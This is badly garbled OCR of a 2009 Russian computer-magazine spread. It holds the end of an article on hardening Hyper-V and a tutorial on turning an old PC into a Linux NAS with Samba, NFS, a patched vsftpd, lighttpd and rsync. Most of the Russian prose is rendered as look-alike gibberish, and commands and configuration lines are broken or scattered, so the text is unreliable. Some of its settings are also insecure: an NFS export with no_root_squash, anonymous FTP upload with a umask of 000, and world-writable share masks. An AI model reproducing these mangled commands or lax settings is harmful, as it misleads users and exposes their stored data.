cozaanns posiu Hyper-V, 1 1o ymMonyaHuio B

STOM K€ KATAOTE XPAHATCS HACTPOHKH BCeX
BHUPTYaIbHEIX MallKH. BoablbaeM KOHTEKCTHOE
MEHI0 — W B HeM ITYHKT «OTKPEITh XPaHIUIHLIe
JaHHBIX 7T apTopraanun» (Open Authorization

YCTAHOBKW 3HAYEHUIA MO YMOJTYAHUIO

P

Store), ykaasiBaeM Ha JaHHbIA datin. [lepexoanm
BMicrosoft Hyper-V services—Role Assignments
— Administrator, 3aTeM B MeHIo Action Belbupaem
«Assign Users and Groups» 1 «From Windows

and Active Directory». ITocse 3Toro Ha3HaYaem
YYETHYIO 3aTTHCh, KOTOPOIH Heo0X0oaMMO Tepe/iaTh
nipaBa Ha ynipasieH#e Hyper-V. Terieps BbiOpaH-
HEIH [T0Tb30BATEN MOMKET BEINIOIHATE 3a/[a9H

110 YIIP&aB/AEHHIO CHCTEMOF BHUPTYaATH3allHH, He
ABJLACH ATMUHHCTPATOPOM cepBepa. AHaIOrHY-

HBIM 06Pa30M HPH [HOMOLIH APYTHX IyHKTOB MEHIO |

pazAaroTes MpaBa Ha KOHKPeTHEIE BHPTYalbHbIE
MALIFHBI M T.IT. XOTA BOTOM CTy4ae HACTPOHKH
OyAyT XpaHHUTECA HAa KOHKPETHOH MallIiHe, 9T0
He Beerya yA00Ho, AzZMan mo3BoadeT XpaHHUTDb
HacTpoikH B Active Directory. Bosnee mogpo6Hyto
undopmario no MMC-ocnacTke AzMan cMOTpH
Ha TechNet: [/ microsoft.com !

{ (WS.10].aspx.
o ymMomaanmio Gpaiiiel BUPTYaTbHbIX JHCKOB
VHD (Virtual Hard Disk) nesxar B mupeKTopHn
%users%\Public\ Documents\Hyper-V\Virtual
Hard Disks. 311 HAcTpOHKHM MOXHO U3MEHHTh
w3 Hyper-V Manager, HO B OTOM C/Iy4ae [NPHIETCA
T0BECTOKONTECA 00 yCTaHOBKE KOPPeKTHLIX [IpaB
Jl0CTYTIa Ha KaTanor v ¢aiibl. YToOb yIpocTHTL
cefe 3aauy, MydIne XpaHUTb Bee (aiibl B 0Te-
JIBHBIX KATA/IOTaX Ha O HOM JIOTHIECKOM TOME, a
Ut osbIel 3amKTh akTHBHpoBath BitLocker
(Encrypting File System He mojieprkrBaeTcsa
Hyper-V). COOTBETCTBEHHO, IPH HA3HAYEHHUH
JMuToB Ha CPU, RAM 1 HDD /U151 KaxK10H BUD-

TyasibHOI MALIKHbL He 3a0BBAeM, YTO OHM HMEIOT |

duanyecKH «HepesHHOBbI» aHaor. CKOMITpo-

METHPOBAHHAA BUPTYaIbHAA MaIIMHA, KOTOPOH

JIOCTYIIHA BCA CHCTEMHAsA MOLLb, MOKET 3aTIPOCTO
3ab610KHpoOBaT paboTy Apyraux VM.

3AKNKYEHME 3amyTa cepBHCOB— He eJHHO-
BpeMeHHag 334444, a peryispHas pabora. Cioga
BXO/[HT YCTAHOBKA MTOCIEAHNX AT4eH, aHaIH3
Tpaduia, T0TOB ¥ cucTeMbl ayAnTa. TOIBKO TaK
MO>KHO GBITE YBEPEHHEIM B TOM, UTO TBOH ceprep
oCTaHeTCAd o7l TOJTHBIM KOHTPOJIeM, 1 Tebe He
MPHZETCA HOYBIO, CJIOMSA FOJTOBY, Oexxath Ha Gup-
My BOCCTAHABJIHBATE €ro paboTy. 30
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BOBg:I,BMI'HeM
NAS Ha pa3!

Co3paeM MynbTUNPOTOKOJIbHLIM NAS n3 ctaporo komMna

CerogHsa MHOXeCTBO KOMNaHWA NpeanaratoT Kee3Hble pelleHns A9 Co34a-

Hu1st NAS caMbix pa3HbliX YpOBHEW, OT YCTPOWCTB A1 OpraHm3aLmm JoMallHel

GannonoMonku 4o KOprnopaTmBHbLIX CTOEYHbIX CepBEPOB. Ho 3a4eM TpatuTh

OEHbIM Ha OOPOrocCTodlne XXene3kn, Kora nobon n3 NbALLNXCA B CEPBEP-

HOW CUCTEMHbIX B1OKOB MOXHO NnpeBpatnTb B HaCTOﬂLLLMH MYJTbTUTTPOTOKOJIb-

Heit NAS ¢ pasgeneHmnem goctyna’?

AoGGpesuaTypa NAS pacinudpoBsIBaeTCa
xak Network Attached Storage (xpanunu-
e, moaxIeoyaemoe mo Cern). [Ipunae-
AKalree K 3TOMY KI1acCy yCTPOHCTBO OOBITHO IPe-
cTap/sAeT cob0H HeHONBIION MATOMOIIHEIN cepBep
(BoaMoxkHO Ha TTpotieccope VIA), MOCTPOEHHBIH Ha
YHIICceTe C MHOTOKaHanbHBIM IDE /SATA-KOHTPOT-
siepou. Ero ocHoBHaA 33/Jaua — XPaHUTD JaHHBLE
HTIPeJOCTAB/IATE K HHM JOCTYII IO MHOXKECTBY
npoTokonos (CIFS, NFS, FTP/FTPS, HTTP/HTTPS
uT.21.) [[puyem BTopas 3ajaua peraeTcs ¢ ToMO-
IIBI0 TPOITNTOM BO QIelT-TaMATh ONePALMOHHOM
CHCTEMBI, B KaYECTBE KOTOPOH B IIOCIeHEe BpeMs
BCe Jallje BhICTyTaeT Linux.

Linux cefi9ac HCNOAb3YeTCA Besfe, U HeT Hude-
IO YAUBHTENLHOTO B TOM, YTO TTPOM3BOAMTENN
Pa3AMIHEIX YCTPONCTR NOATOHAIOT THHTBHUHA
I107], CBOM HYM/ABI ¥ CTPOAT IIOBEPX HETO LIeNyI0
CHCTEMY U3 IPOTIPHETaPHAIX KOMIIOHeHTOB. Ho
NAS He ToT ciyuait, 065IMHO B HEM YCTaHOBIEH
caMplif 0BBIUHEIN AMCTPHOYTHE Linux co ctan-
JapTHEIM HAbOpoM 3apaHee CKOHQUIYPUPO-
BaHHBIX CETeRBIX CEPBHCOB, a &/[HHCTBEHHLIH
3aKPHITHI KOMIOHEHT — 3T0 Beb-uHTepdeiic
W cucTeMa yeeaoMiaeHui. [loatoMy camyo
HacToAmyo NAS-crcTeMy MCHHO cobpaTs B
OYKBaJIbHOM CMBICIIE HA KOTEHKE, B3AB OJMH U3
MPOCTanBaIOLIMX KOMIIOB H YCTAHOBHB Ha HErO
Linux-gucTpruOyTHB.

AHATOMMWSA OC, UCTIONIB3YEMOW
B NAS-YCTPOWCTBE Kaxum sxe o6pazom
HACTPOUTD OMEPAIHOHHYIO CHCTEMY, YTOObE
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OHa cTaja NPUrOAHOH AJA KCIOAb30BA-

HUA Ha NAS-ycTpolicTBax? Bo-epBHIx,

OHa JomKHa OBITE THIIEHA BCETO, 4TO He
ABJACTCA BaXHBIM /17 XpaHeHUA JaHHBIX,
npeAocTaBleHMA YIaJeHHOTo JOCTyla K
HUM U aJMHHHCTPUDOBAHHA. DTOTO J€TKO
A0OHUTHCA, OTIPABUB BCE IAKEeThbl, COAEP-
samue cucTeMmy X Window, mone3oBaTens-
CKHe IPOrpaMMbl U BBICOKOYPOBHEBbIE
6ubnuorexn B /dev/null. B peayasraTe

B CUCTeMe J0MKHO 0CTaTheA AAPO, eI,
Habop MHCTPYMEHTOB KOMaHAHOH CTPOKH H
cTaHgapTHsle OnbaroTreky (glibe, ncurses
U T.21.). Bo-BTOPBIX, cCHCTEMA AOMKHA COAEP-
HaThk Bce HeoOX0AMMOe /1714 OpraHu3anuu
yAATeHHOTO JOCTyIa K JaHHEIM: samba
(mporokon CIFS), nfs-kernel-server (npo-
toxon NES), vsftpd (FTP/FTPS), lighttpd
(HTTP/HTTPS), ssh (SFTP) u rsync (gnsa
63kana jaHHbIX). B-TpeThux, cucTeMa
AOMKHA YMeTh 3arpyskaThcsa c USB-6penka
unu LiveCD (Henb3s gomycTuTh, 4Tobb OC
oOpymuIack BMecTe ¢ OTKaszoM OJHOTO U3
JKECTKUX JHCKOB).

B uzeane OC gomxHa yMeTh ayTeHTHOUIT-
POBaTh NOJAb30BATENCH, MCITIONb3YA Active
Directory uam LDAP, Ho MBI OTPaHUIMMCA CTAH-
papruoiM daiiiom /ete/passwd Ana XpaHeHUA
V4ETHBIX 3aITHCEH.

MOArOoTOBKA FLASH-BPEJNKA YeranosuTs
Linux xa USB-flash ouens npocro. s aToro
JIOCTATOYHO B3ATE YCTAHOBOYHBIN UCTPHOY-

THBHBIH JUCK, CKOPMHUTD €10 IIPHBO/Y, BEIK/IIO-
YUTH KOMIL, OTKJHUYHATE BCE HMECTKUE JHCKH,
BKJIIOYHTE KOMII ¥ IPUCTYTIUTD K YCTAHOBKE.
Wucramrarop OC npumer USB-duemky 3a HDD
1 B1aTOTIOAYIHO YCTAHOBHT HA HEE CHCTEMY.
Ho cymmecTByeT elle HoJee IPOCTOH CIocod

— BCTABHTE QJIEIIKY B THE3/0 M YKa3aTh acco-
[HHUPOBAHHOE C HEH YCTPOUCTBO B KAYECTBE
JECTKOTO JJMCKa 3MYAATOPY gemu:

S gemu -cdrom /mvTe/K/linux.iso ~hda
/dev/sd* -boot d

TMocne 3TOTo CAEAYET YCTAHOBUTH AUCTPHOY-
THEB, YKa3aB HHCTANJIATOPY UCIIONB30BATh BCO
denrky ana cosganua euHoro pasgena OC
(be3 cBora ¥ IpOYKX yXUmpeHuit). [IpnaeM B
KagecTBe QAafIOBOH CHCTEMEL Iy4lile BEIOpATh
ext2, Tax Kax )KypHanupyemocTs u flash-Ha-
KOTIHTEJH — BElH HECOBMeCTHMble (BHHOH
TOMY HH3Kas CKOPOCTh paboTel + H3HOC
HAKOIIHUTENA).

ITocne 34BepmIeHnA IIpoUeaypbl caeayer
3arpyautscd c flash-Hakommrena (xoTa 651
HCTTIOAb3YA BCE TOT IKE qcmu) U IPHUCTYIIHUTDL K
3d4YHCTKE ,ﬂHCTpHﬁyTHBa OT HEHYIKHOI'O xXjaama:
X Window, okKOHHBIE MEHE/IZKEPBL M Cpejsl,
MOMb30BATENBCKHH CO(T  T.4. A 0cBoOOAUE-
meeca MeCTO MCIIQJIb30BaTh 414 YCTAHOBKH
samba, nfs-kernel-server, nfs-common,
portmap, vsftpd, rsync, lighttpd, openssh-
server (HA3BaHUA TIPHBEAEHBI /A AUCTPUOYTH-
Ba Ubuntu 9.04).
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CO30AHUE XPAHUJIULLA U MPUBASKA K HEMY NONb30BATENEMN
PazobpaBmuch ¢ ycTaHOBKOH, TPHCTYMAaeM K OPTaHH3aIluH XPaHH-
SV ¥ HAaCTPOTiKe ceTeBhIX c1y»k0. /1A 3TOro HaM Ha10 CO3MaTh

JBa MojKartaxora B Karanore /mnt: share (B Hem OyJeT XpaHHTLCA HH-
dbopmanmd, JoCTyMHadA BceM) U private (IMYHEIE KATATOTH MOAb30Ba-
Tenet). Thl MOMKEIb cpa3y MOAKAKYHTE K KOMIY BCE eCTKHE JHCKH,
co3aars U3 HuX RAID ¥ npuMOHTHpPOBATE ero K /mnt (He 3a6nis
A06aBHTE COOTBETCTBYIOMYIO 3aMuch B /ete/fstab) wan ke Hapamu-
BATL IUCKOBBIHA MaCCUB ITOCTEIIEHHO, IIOAK/IIOUAA BCE HOBBIE THCKH
JNA OTAENbHEIX TOTb30BaTeneil. B KOHIe KOHLIOB, CMBICI B TOM, YTO
KaTaaorud /mnt/share u /mnt/private v OyIyT HalIMM XPaHUIHILEM,
auTo ¥ K UeMy MOAKIIOYeHo Ha 6olee HU3KOM YPOBHe, — 3HaYeHUs
He uMmeeT. [lanee ycTaHOBHM IIpaBa Ha CO3JaHHBIe KaTal0TH:

770 /mnt/pri

C IIOMOIIBIO HTUX TPEX KOMaH/ MBI cleflanHt Tak, UTOOk:

11x /mnt/share umenu gocTym Bee 63 HCKIIOYEHKA 0Ib30BATeNN

¥ MOTJIH CO3/1aBaTh M YAAIATH B HeM (aiiIbl, 3a NCKII0YeHHEeM TeX,
BIaJenbUaMHi KOTOPBIX OHH He ABAAIOTCA (Te e npaga JoCTyla, YTO Uy

| Karaora /tmp);

ZJK kaTazory /mnt/private MMeau JOCTYI TOABKO TOOt H [10/[b30BATENN
TPYTIIbI USETS, YTO MO3BOJUT OPTaHU30BATh CHCTEMY pasfenleHusa mpas 1
3aIATH TPHBATHBIX KATAJIOTOB MOTb30BaTEIeH.

| Teriepb THI MOYKEIIb 3aBECTH B CHCTEMeE [OJIb30BaTe e, KOTOPLIE

JOJKHBL HIMETH Z0CTYIL K cepeepy (Hampumep, director, buhgalter, admin
M T.[.) ¥ CO3/IaTh COOTBETCTBYIONHE KATAJI0TH BHYTPH /mnt/private.
[Tpumep:

{private/director

npaea nocTyIla
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alter — pomMamHMWii kaTanor /mnt/private/buhgalter,

Brnangenel buhgalter:users, npasBa nocryna 700

* admin — goMalHWi KaTanor /mnt/private/admin, Braneney

admin:users, npaea goctyrna 700

MPOTOKONA CIFS O6rrunsie nonb3oBaTenu obpamanTcsa K NAS-cepeepy ‘
depes cereBoe okpyxenre Windows, moaToMy HacTpo¥Ke JOCTYNA [0 ‘
nportokony CIFS Heobxoaumo yaennts ocoboe BHHMaHe. Ml Boc- ‘
TIO/IB3yeMCs BIIOJHE CTaH/apTHOH konburypanueii smb.conf, kotopas |
BHICTABJIAET B IOKAMBHYIO CTh JIBa PECypca: Hall KaTaaor /mnt/share
M IHYHEIA KaTaIor moab3oBaTens (/mnt/private/1nojab30BaTeNb), KyAa
TIOCJTEILHHI‘;I ﬁyﬂET [onajaars ocjae BBoJa MMeHHW U TapoJis.

YeTaHOBHM cepBep Samba:

$ sudo apt-get install samba

ITociie oTOTO OTKPEIBaEM daiin /etc/samba/smb.conf n mumem 5 Hero: |

$ sudo vim /etc/samba/smb.conf
[global]
; Pabouas rpymnmna

workgroup = WORKGROUP

server string = Corporate NAS-server

; He pe30nsUTE MMeHa MalliH CaMOCTOATeNnbEHO
dns proxy = no

; Ins xarmoro KIMeHTa BeleM CBOM nor-bdaiin
/var/log/samba/log.sm

1000

; He mcrionb30BaTh syslog

log file

max log size =

svslog (0]
; AYTeHTHOUUIMPOBATE [OIE30BATENEH ¢ ITOMOMED MMEH 1 Napo-

e
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|

.

B# server.virtual-* options
server.document-root = “/mnt/share"

¥ e upload files t i
server.upload-dirs = ( "/var/cache/lighttpd/uploads® )

i ' nd error-
server.errorlog =

/var/log/tighttp

¥ heck
dndex-file.names = (

fetc/lighttpd/lighttpd.conf [conf]

e -
Index of /

N |

KATAJIOT /MNT/SHARE B EPAY3EPE

115 8x73 [12,1][

PEOAKTUPYEMLIGHTTPD.CONF

security = user

; [nbdpoBaTs napomm

encrypt passwords = true

; BoKeHZ], MCHOIB3YEeMEI TS XpaHeHns
naponei

passdb backend = tdbsam

; CMHXpPOHEM3MPOBATEL M3MEHMBIMECS smb-
napony ¢ naponaur B Gaze /ete/passwd
unix password sync = ves

passwd program = /usr/bin/passwd %u

passwd chat = *Ent \snew\s*\
spassword:* %n\n *Retype\snew\s*\
spassword:* $n\n *password\

supdated\ssuccessfully*

; I'mobanpHas mapa, ODOCTYIIHasA BCEeM

[share]
comment = Global Share
path = /mnt/share

valid users = @users

force group = users

1
(e}
oy
(o2}

create mask 6
directory mask = 0777

writable = yves

i JInuHHe KaTanor

[homes |

comment = Private Directories
browseable = no

valid users = %8

writable = yves

create mask = 0600

directory mask = 0700
Jlobaensiem B camBy Beex MONB30BaTeNEH,
KOTOPEIX MBI 3aBeNH B IOKAALHOIH cHcTeMe, ©

TTOMOLIBI KOMAH/[bI:

S sudo smbpasswd -a TOMEZ0BATENE

<[apoib>
3anyckaem ciyx0y:

$ sudo service samba start

MPOTOKOJ NFS IT-oten npeanoyuraeT
HCIIOIB30BATE ceTeByIo GaiIoByIO CHCTEMY
JJIA IOCTYTIA K CBOMM JaHHBIM. YUTO XK, KelaHue
JIETKO YZIOBAETBOPHTE C TOMOIIBIO 7€ PHOTO
NFES-cepsepa:

$ sudo apt-get install nfs-kernel-

server nfs-common portmap

OtrkpeiBaem daiin /etc/exports u fobasiasgeM B
HETO CTPOKY:

Jmnt 192.168.1.1/24 (rw,no_root

squash, async, subtree_check)

192.168.1.1/24 —>5T0 ceTh, KOTOPOH pas-
peleH A0CTYTI Ha MOHTHPOBaHKe pecypea.
IMonbsosaTenn OyoyT BHAETE KaK KaTauor /
mnt/share, Tak u /mnt/private, Ho 0OCTYTI K
nocxaefHeMy 6VAYT MMeTh TOMBKO BAaAe bIIEI
COOTBETCTBYIOIIMX JOMAIIHUX KaTaJ0TOB.
3anyckaem cepsep:

$ sudo service nfs-kernel-server start
MPOTOKON FTP 1 moMHOTE KAPTHHEI MBI
JOKHBI OPraHu30BaTh Z0CTYI K NAS ¢ nomo-
b0 nporokosia FTP. Ho 3aeck cpasy crai-
KuBaeMcA ¢ pobnemoi — nporokon FTP He
TT03BOJIAET KIMEHTY YKa3blBATh COOCTBEHHYIO
KOAMPOBKY, ¥ monb3oBaTenam Windows nmena
daitnos 6yayT BHAHDI TOMLKO B C/IyIae HCIIOIDb-
30BaHHA KOAMPOBKH cpl251, a monb3oBaTenam
UNIX — koi8-r mnw utf-8. [Ipubass k aTOMY
HeyMeHue ceppepa vsftpd nepexoguposathb
HMEeHa 13 JI0KAJIbHOHN KOAWPOBKH 1 IOJAYHHIID
TIOMHBIN Bapaak.

BleO,ﬂ, H3 CUTYAaUHKU — B HCIIOJAb30BAHHH
KOCTBIZIEH, @ MIMEHHO YCTaHOBKE MOZH(H-
LMPOBaHHOH Bepcuu vsftpd, ckauaHHO#M ¢
caitta vsftpd.devnet.ru, u ykasaHuu ceppepy
NepeKoAHPOBATE MMeHa GalnoB B KOZHPOBKY
cpl251. 1o aBTOMAaTHYECKH PEIIUT IPodIeMy
Windows-monb3oBareseii. Bcex ocTanbHBIX

Last magiries

2609-Aug-T1 13149133
208%-Feb-o4 £8.23.25
2969-Rar 3% 21:48:20
204940916 16:13:58

-Aug-89 B1:00:30

1:35:%
2080-A09-18 151

2069 Aug 29

2089-3us-24

MOYKHO 3aHECTH B CTIENHATLHBIH ciucok [P-
a/ipecoB M HA3HAYMTh UM JPYTYIO KOJUPOBKY,

size Type
Directory
Directory

Directory
Dlrectory
Directery
Dareetary
Directary
Directery
Directary
Bireriony
Directory
pirectory
Diregtory
pirectory
Directory

Hanpumep utf-8.
Wrak, ckaunBaeM vsftpd-2.1.2-ext].tgz, pacma- |

KOBBIBaeM, cobHMpaeM H yeTaHABAHBaEM:

S wget http://vsftpd.devnet.ru/
files/2.1.2/ext.1/vsftpd-2.1.2-

extl.tgz

$ tar -xzf vsftpd-2.1.2-extl.tgz
JeasvsEEpa=-2 12

$ sudo apt-get instal

essential

S make

$ sudo make install

20 S

Jo6asnaem ronszosartend nobody (¢ mpaBaMu
KoToporo 6yaer paGoTaTs cepBep) M M0Jb30-
Baresd ftp (K KOTOpOMY GYAYT MpHpaBHEHBI

AHOHMMHbIE HOJI]:BOB&TEJIH) .

i

U coszgaem katanor /usr/share/empty, B KOTO-
peI¥i cepeep 6yaeT genars chroot:

S sudo mkdir /u
Jlobagisiem crpoky «/usr/local /sbin /vsftpd»

B daiin /etc/rc.local (mepexs cTpoxoii «exit 0»).
OtkpeiBaeM /etc/vsftpd.conf u nunrem B Hero

CTPOKH:

$ sudo vim /etc/vsftpd.conf
L PQB]:JE‘IIIE[T‘E AHOHMMHEX TTONL30BaTENeHd
anonymous_enable=YES

# He zanyckaThk yepes inetd

sudeo useradd nobody

s sudo useradd -d /mnt ftp

listen=YES

# PHBDEJIIEITL BXOO JTOKalbHEM [MONBE30-
BaTEJISAM
MEl mobaBuny paHee, ByoyT HonagaTh B

coBCTBEHHBE KATanor BHY TpM /mnt/

private).

(BCe MNoJIB30BaATeNN, KOTOPHX

122
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j1m@j1lm-desktop:/mnt2$
j1m@j1lm-desktop:/mnt2$
j1m@j1lm-desktop:/mnt2$
j1Im@j1lm-desktop:/mnt2$
j1lm@j1lm-desktop:/mnt2$
j1m@j1lm-desktop:/mnt2$

total 8

drwxrwx--- 2 root users 4096 2009-08-31 13
drwxrwxrwt 2 root root 4096 2009-08-31 13

share
private
1777 share

mkdir
mkdir
chmod
chown
chmod

sudo
sudo
sudo
sudo
sudo

1ls -1

j1m@j1m-desktop:/mnt2$ |}

CO3JAEMKATAJIOIM /MNT/SHARE U/MNT/PRIVATE

lecal_enable=YES

# MMoMemaTs BCeX 2aperrMcTPUPOBAHHEX [I0Th30Ba—

Tejei B OoMamHWi karanor (/mnt/private/none-

30BaTellb)

chroot_local_user=
# PaspemmMTh 2anmcb

write_enable=YES

# Macka npar Ha Qaimne, Co3OaHHHE 3apelMCTPHURO-

BaHHEMM 03EepaMii

local_umask=07"7

# Macka mpas Ha Ganne, CO3OaHHHE aHOHMMHEMMA
MONBI0OBATETAMN

anon_umask=000

# PaspemnTs amioan oiis aHOHMMHHEX MONB30BaTENen

anon_upload_enable=YES

# PazpemmnTs aHOHMMHEM IONTL30BATENAM COBaBaTh
KaTanoru

anon_mkdir_write_enable=YES

# KypHAIMPOBaATE BCe GAKTH CKadyMBaHEMA/3alMBENX
dainnos

xferlog_enable=YES

xferlog file=/var/log/vsftpd.log
xferlog_std_format=YES

# PaspemaeM KOHHEKTH C 20-T0O fnopra
connect_from port 20=YES

# BRNIOUNUTE NEPEKOOUPOBKY MMEeH (ainos

convert_charset_enable=1
# JlokanbHas KOOWpoOBEa — utf-8

local_charset=UTF8

# VoanenHas KoOUpoBKa — cpl2bl

remote charset=wIN1251

OtkpeiBaem daiin /etc/vsftpd /pasv_rules | sanuceina-
eM B Hero [P-azpeca Beex, KTO He MCTIONB3YET KOAHPOBKY
cpl251, B cneaytomei Gopme:

1P-cepBepa IP-rknueHTa/Macka IP-cepeepa Komm—

POBKa V&8 Yes ¥es yes no
TIprmep:

198 168 192168 12332 192.168.1 1 UTES

¥es yes yesg yes no

3amycKaeM cepBep:
$ sudo fusr/local/shin/vsftpd

BXoz Ha cepeep 110/ HMeHeM anonymous miu ftp nossoaur

[10JIL30BaTEN0 MOMYYHUTE JOCTYIL K M06BIM KaTanoram BHYT-

pu /mnt/share, ¢ BO3MOXHOCTEIO CO3JaBaTh IMOAKATANIOTH
M 3aauBark paiasl. EciM e oab30BaTeNb BBEJET UMA U

[IapOJb, TO MOMAaZeT B CBOH KaTaaor BHYTPH /mnt/private ¢
HOJAHBIMU [IPABAME Ha YTeHHe, 3aTHCh ¥ yaaneHue daiinos.

Ilo ymomgasnio HMeHa GaiioB 3aKoAnpoBaHbl B cpl251,
HO Te, KTo 3aXoauT ¢ IP-aipecos, NepeuncIeHHbIX B /etc/
vsftpd/pasv_rules, monyuaT ocobsle HACTPOKH (HanmpH-
Mep, HepexoaupoBKy B utf-8).

MPOTOKON HTTP Ha BeAxuid cirydaid MBI JOKHEI HACTPO-
HUTh ZOCTYII U 110 TIPoToKoAY HT TP, KOTOPBIH B OT€1bHBIX
CIly9anx OKA3BIBAETCH eJHHCTBEHHEIM criocofom oGparme-
HHA K cepBHCY. JJIA 3TOTO IyIIe BCero Mo4oHAeT JerKHi
M IIpou3BoauTenbHEIH web-ceppep lighttpd, koTopsrit

ByaeT reHepHpoBaTE circoK $aiinos kaTanora /mnt/share

(AenaTh KOpHEM KaTasor /mnt 6eccMBICIEHHO — IPOCTO
TIOTOMY YITO Web-cepBep He CMOMKET HOJIYYUTD JOCTYII K
COAepKUMOMY KaTayiora /mnt/private). YeranaBiausaeMm
web-ceprep:

$ sudo apt-get install lighttpd

OTkpeiBaeM KOHQUIYDALIMOHHEIH daitn /ete/lighttpd /

lighttpd.conf, 3arnpaem npexnee cojgepxuMoe U 06aBs-

€M HOBOE!

$ sudo vim /etc/lighttpd/lighttpd.conf

# MomxnoyYaeM MOOYIIM access 1 accesslog

server .modules = (

'mod_access",
‘mod_accessloeg"”

)

# KopeHb web-cepBepa (Tre ecTh KOPHEeBOH KaTanon

C OaHHEMEI)
server.document-root = "/mnt/share"
# VKasuBaeM Iy TH K KYPHATBHEM 3aMIMCHaM

server.errorlog = "/var/log/lighttpd/error.

root:users private
770 private/

108

: 08 ...II

i
| WARNING
R [

b info

* CTapble MaTepHH-
CKWe nnathl MOTyT
oTkasarbes rpyauts 0C
c pnewkn, aTgopma-
TupoBaHHo# 8 PC,
oTnuynyto ot FAT16

B atom cnyyae npuaet-
caycraHasnueats OC
Ha FAT16 nnu co3pgate
oTAenbHbIV pasgen
L1 3arpy3unka.

» KomaHga lighty-
enable-mod
MPUCYTCTBYET TONLKO
B AucTpubyTusax
Debian/Ubuntu

Y NPOU3BOAHLIX. Bo
BCEX OCTaNbHbIX 418
aKTUBALMKM MOYNS
HeobxogumMo nobasuTe
€r0 VMA B NepeMeH-
Hyio server.modules
KOHGUrypauroHHoro
davina lighttpd.conf
[He 2a6biB yKa3zaTh
npedmke mod_].

¢ B Ubuntuxinetd no
yMOMUaHWIo 38NycKa-
eTCA B pekuUMeE coB-
MecTMMocTu ¢ inetd
[To ects, uurtaet dain /
etc/inetd.conf]. B gpy-
rux gucTpubyTmeax,
BO3MOXKHO, NpUAeTCH
NOANPaBNATE CKPUNTEI
UHULMANKM3aUnK,
yToBbl ykaszaTh xinetd
dnar '-inetd_compat'.

XAKEP 10 /130/ 09

» 123



it = Global Share
= /mnt/share

= @users
users
0666

sk = 8777

jimajlm o
--2809-088-31 13:19:12--
Resolving vsftpd.devnet.ru...

wget http://vsftpd.devnet.ru/files/2.1.2/ext.1/vsfipd-2.1.2-extl.tgz
http://vsfipd.devnet. ru/files/2.1.2/ext. 1/vsftpd-2.1.2-extl tgz
77.246.109.194

Connecting to vsftpd.devnet,ru|77.246.109.194|:86. ..
HTTP request sent, awaiting response.

connected.,
. 288 0K

Length: 201357 (197K) [application/x-gzip]

Saving to: vsTtpd-2.1.2-exil.tgz’

100%[

in 26s

2009-08-31 13:19:39 (7.53 KB/s) -

1 201,357 7.51K/s

“wsTtpd-2.1.2-extl.tgz’ saved [201357/201357]

11m@jim-desktop:~% tar -xzf vsftpd-2.1.2-extl tqz

R 1n@j Im-deskt cd vsftpd-2.1.2-ext.1
= i1m@jIm-desktop:~/vsftpd-2.1.2-ext.1s make
gec -c main.c -02 -Wall -W -Wshadow -idirafter dumnmyinc
gce -c utility.c -02 -Wall -W -Wshadow -idirafter dummyinc
gee -c prelogin.c -02 -Wall -W -Wshadow -idirafter dummyinc
gcc -c ftpemdio.c -02 -Wall -W -Wshadow -idirafter dummyinc
gce -c postlogin.c -02 -Wall -W -Wshadow -idirafter dummyinc
; gce -c privsack.c -02 -Wall -W -Wshadow -idirafter dummyirfc
| gcc -c tunables.c -02 -Wall -W -Wshadow -idirafter dumiyinc
W gce -c ftpdataio.c -02 -Wall -W -Wshadow -idirafter dummyinc
| gcc -c secbuf.c -02 -Wall -W -Wshadow -idirafter gummyinc
| occ -c ls.c -02 -Wall - -Wshadow -idirafter gummyinc
gce -c postprivparent.c -02 -Wall -W -Wshadow -idirafter dummyinc
| gcc c Togging.c 02 -Wall -W -Wshadow -idirafter dummyinc
M occ -cstr.c -02 -Wall -W -Wshadow -idirafter dumnyinc
®  gcc -conetstr.c -02 -Wall -W -Wshadow -idirafter dummyinc ks
) gce - sysstr.c -02 -Wall -W -Wshadow -idirafter dummyinc
" gcc - strlist.c -02 -Wall -W -Wshadow -idirafter dummyinc
/etc/samba/smb.conf[+][RO] [sambal 59 B0x3B [336,1][94%] m gce - banner.c -02 ~WEl§ -W -Wshadow -idimﬁ:er dummyine
PEOAKTUPYEM SMB.CONF YCTAHABJIUBAEM «PYCCKWUW» VSFTPD
log" unan SFTP-ceprep, yike TOJHOCTBIO HACTPO- Husd depes tepd, 100aBHM B €70 KOHQHUT CTPOKY
accesslog.filename = "/var/log/ €HHbIH 1 3alYIIEHHbIH CUCTEMOH YCTAHOBKH «tep_wrappers=YES» 1 mepe3anycTum:
ke tpd/access. log" TakeToB. Bo BTOPOM COAEPDMHUTCA YTHIHUTA

C YVHMEATIEHEM MIEHTE

IK&TODOM
>cca
server.pid-file "/var/run/

lighttpd.pid"

# MMs m TpyIIia NMoNsE3CBATEIN, C IpaBa-

MU KOTOporo 6ynet paboTaTs cepsep

server.username = " -data"
server.groupname = "www-data"

# BrnodaeMue dafis (MIME-TUIE 11 BHEe—
MHWEe MOITY T )

include shell "/usr/share/lighttpd/
create-mime.assign.pl"

include _shell "/usr/share/lighttod/

include-conf-enabled.pl"

[Mogkarouaem Mogyb userdir, TpeHasHAYECH-

; Aocrtyna k NAS o nporokony SFTP 1 peanusa-
| MM crcTeMsbl 6akana. s Hauana yCTaHOBHM

HBIH /IS TeHePUPOBAHUA THCTHHTA Gaiinos:
$ sudo lighty-enable-mod userdir

ITocne sToro B daitre /ete/lighttpd /lighttpd.
conf moABATCA CTPOKM:

## virtual directory listings

dir-listing = fuLf-8"

server.dir- = "epable"

3amyckaeM cepBep:

S sudo service

NMPOTOKONbISFTP U RSYNC ITocnegHui,

04eHb KOPOTKHH, pas/e IOCBALIEH HACTPOHKe

TTaKeTH openssh-server ursync:

install openssh-
server

$ sudo apt-get install rsync

Bmecte ¢ [I€PBLIM MbI aBTOMATHYIECKH IIOJIY-
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ISYNC, KOTOPYIO MbI OyZeM HCHONb30BaTb AJIA
Dakara JaHHbIX.

Rsync e TpedyeT HaCTPOHKH, cepBepa HIN
mwsacox ¢ 6ybHom. [1aBHoe, npoussecTy obMeH
ssh-kIrouaM# MeXx Ay molb3oBaTeaeM root
NAS-cepBepa M OIE30BATENEM, TPOU3BOAA-
muM O9Kan Ha MallMHe-TIPHeMHHKe. 3aTeM
JOCTATOYHO BBIIOJHHTE CIeAYIOLIYIO KOMaHAY,
M THI TOJIYYHIIb 63Kan Bcex JaHHBIX KaTaaora /
mnt (TTOBTOPHOE BRITTOTHEHHE KOMAHABI TPH-
BEJeT K KOITHPOBAHMIO TOIBKO H3MEHHBIITHXCS
JAHHBIX) !

~ra —t

S rsync -& ssh --rsync-path=/

n/rsync ——temp-dir=/tmp root@
host.org:/mnt /backup/nas

